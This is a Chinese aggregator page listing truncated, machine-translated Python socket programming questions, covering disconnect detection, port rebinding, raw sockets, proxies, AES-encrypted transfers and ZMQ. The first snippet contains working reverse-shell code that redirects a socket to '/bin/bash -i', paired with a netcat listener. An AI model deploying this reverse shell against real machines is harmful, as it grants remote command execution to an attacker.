【python套接字对象接受超时】教程文章相关的互联网学习教程文章

python-优雅地杀死一个孤立的套接字【代码】

我正在编写一个简单的代理,它使用以下代码生成反向TCP-Shell.class ReverseShell:def __init__(self, ip, port=9002):self.ip = ipself.port = portdef start(self):sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect((self.ip,self.port))os.dup2(sock.fileno(),0)os.dup2(sock.fileno(),1)os.dup2(sock.fileno(),2)subprocess.call(["/bin/bash","-i"]);sock.close()然后,我使用以下方法监听目标地址:nc -l 9...

python-如何检测客户端何时与UDS断开连接(Unix域套接字)【代码】

当客户端连接到管道并发送数据时,我可以收到罚款,并且可以继续接收数据.当客户端断开连接并且while循环仍处于活动状态时,麻烦就来了,connection.recv()不会阻塞,因此会不断循环!因此,我需要一种方法来检测客户端是否仍处于连接状态. 我有以下代码:pipe = './pipes/uds_defzone-lrecv'try:os.unlink(pipe)except OSError:if os.path.exists(pipe):raiseself.logger.debug('Created UDS pipe: ' + pipe)sock = socket.socket(socke...

python-实时Django应用程序的套接字

我正在尝试评估使用Socket.io与Swamp Dragon进行实时功能的Django应用程序的优缺点.我知道Socket具有更大的开发人员网络和一些不错的文档,但是Swamp Dragon是专门为Django构建的,是为Python包装的.尽管如此,在Socket的情况下,我对更多的JS开销没有问题. 有没有人有使用这两种方法的经验(最好是Socket 1.0和Django 1.6或更高版本)?您是否有任何资源可以向我指出方向?我知道this Django module(它的构建失败并且使用了旧版本的Sock...

Python:套接字-从同一台PC运行服务器和客户端【代码】

嗨,我刚刚转发了我的端口和我的Python服务器< --->从另一台PC运行客户端时,客户端聊天按预期方式工作. 当我尝试从自己的PC(服务器文件本身所在的位置)连接客户端时,我得到了他的错误:OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted问题1:这意味着只有1个应用可以连接到特定端口,对吗? Q2:那么,如何在同一台PC上同时开发服务器和客户端?(我没有任何...

Server(Python)-使用套接字的客户端(Java)通信【代码】

我尝试将消息从服??务器发送到客户端,客户端收到消息后,它将消息发送回服务器,依此类推.问题在于在python中接收消息.循环被卡在那里.import socketHOST = "localhost" PORT = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Socket created')try:s.bind((HOST, PORT)) except socket.error as err:print('Bind failed. Error Code : ' .format(err)) s.listen(10) print("Socket Listening") conn, addr = s....

Python:在OSX中使用原始套接字【代码】

我在网上找到了此代码,发现它在OSX上不起作用.没有人知道正确的方法而不使用第三方库吗?import socket import struct import binascii rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) while True:packet = rawSocket.recvfrom(2048)ethernet_header = packet[0][0:14]ethernet_detailed = struct.unpack(“!6s6s2s”, ethernet_header)arp_header = packet[0][14:42]arp_detailed = struct...

python-cherrypy不关闭套接字【代码】

我正在使用cherrypy作为Web服务器.它为我的应用程序提供了良好的性能,但是存在很大的问题.几个小时后,cherrypy崩溃,因为打开了太多文件,它无法创建套接字:[21/Oct/2008:12:44:25] ENGINE HTTP Server cherrypy._cpwsgi_server.CPWSGIServer(('0.0.0.0', 8080)) shut down [21/Oct/2008:12:44:25] ENGINE Stopped thread '_TimeoutMonitor'. [21/Oct/2008:12:44:25] ENGINE Stopped thread 'Autoreloader'. [21/Oct/2...

python-套接字关闭并重新绑定-如何避免长时间等待?【代码】

我正在python中使用套接字,并且在开发阶段,我需要经常终止并重新启动程序. 问题是,一旦杀死了我的python脚本,我就必须等待很长时间才能重新绑定侦听套接字.这是重现该问题的摘要:#!/usr/bin/env python3 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((socket.gethostname(), 4321)) try:s.listen(5)while True:(a, b) = s.accept()prin...

Python,实现对基于套接字的应用程序(非urllib2)的代理支持

我有点困惑:我有一个简单的Messenger客户端程序(纯python,套接字),我想添加代理支持(http / s,袜子),但是我对如何使用它感到有些困惑.我假设套接字级别的连接将完成到代理服务器的连接,此时标头应包含(聊天服务器的)CONNECT目标IP和身份验证(如果代理要求的话),但是其余部分是超越我后续连接如何处理,特别是读/写等? 有没有关于在Python中基于套接字(tcp)编程的代理支持实现的指南? 谢谢解决方法:也许使用SocksiPy之类的东西,它...

使用Python进行套接字编程-实际的远程端口【代码】

这些天来,我一直在用Python进行一些网络编程,并想确认我认为在客户端和服务器之间发生的流程: >服务器监听给定的广告端口(9999)>客户端通过创建新的套接字连接到服务器(例如1111)>服务器接受客户端请求,并自动产生一个新的套接字(????),该套接字现在将处理客户端与服务器之间的通信 如您所见,在上面的流程中,涉及3个套接字: >侦听客户端的服务器套接字>客户端产生的套接字>服务器产生的用于处理客户端的套接字 我知道要获取前两个...

python-带Web套接字的Tornado单元测试-堆栈上下文如何?【代码】

我使用龙卷风服务器已有一段时间了,不得不说我喜欢它.我有一台处理Web套接字和http请求的龙卷风服务器(在python3.2上运行).我想做的是用ws2py(实现一个ws客户端以与龙卷风IOLoop一起使用)编写一些单元测试(使用Web套接字).我看到龙卷风具有AsyncTestCase类,该类看起来非常有趣,尤其是与doc中所述的AsyncHTTPClient一起使用时:class MyTestCase2(AsyncTestCase):def test_http_fetch(self):client = AsyncHTTPClient(self.io_loop)...

python-通过TCP套接字进行AES加密的文件传输;填充问题【代码】

我正在尝试使用带有AES 256的加密TCP套接字进行文件传输. >如果我传输的文件没有加密,则可以正常工作.>如果我将小的命令(例如“ ipconfig”)发送到客户端或服务器,则加密工作正常.>无论文件大小如何,我都会不断收到以下错误消息:DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)File "/usr/lib/python2.6/base64.py", line 76, in b64decoderaise TypeError(msg) TypeError: Incorrect padding我的编码和...

python-我的套接字正在使用哪个端口【代码】

假设我在python中创建了一个UDP套接字,然后使用以下命令发送了一条消息:sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.sendto(MESSAGE, (DEST_IP, DEST_PORT))如何确定我的消息是从哪个源端口发送的? (我不想将我的套接字绑定到任何特定的端口.但是,如何找出使用哪个源端口发送消息?)解决方法:第一个getsockname()似乎不起作用,但是第二个却可以.因此,也许直到第一次传输之后它才获得有效值:#!/usr/local/cpyt...

Python中的简单套接字编程:错误的服务器【代码】

我正在尝试编写一个简单的文本/ HTTP服务器,该服务器在python中模拟各种恶劣的网络状况.首先,我希望服务器看起来像是关闭连接而不向浏览器发送任何数据,以便可靠地创建“ net :: ERR_EMPTY_RESPONSE”浏览器错误.关于套接字编程的大多数教程都涉及如何创建好的服务器,而不是如何创建坏的服务器,因此,我相信您可以在这里理解我的问题. 这是我到目前为止的内容:import socket, sys, timeport = 8080print "Bad server is listening ...

ZMQ套接字在Python中正常终止【代码】

我有以下ZMQ脚本#!/usr/bin/env python2.6import signal import sys import zmqcontext = zmq.Context() socket = context.socket(zmq.SUB)def signal_term_handler(signal, fname):socket.close()sys.exit(0)def main():signal.signal(signal.SIGTERM, signal_term_handler)socket.connect('tcp://16.160.163.27:8888')socket.setsockopt(zmq.SUBSCRIBE, '')print 'Waiting for a message'while True:(event, params) = socket.re...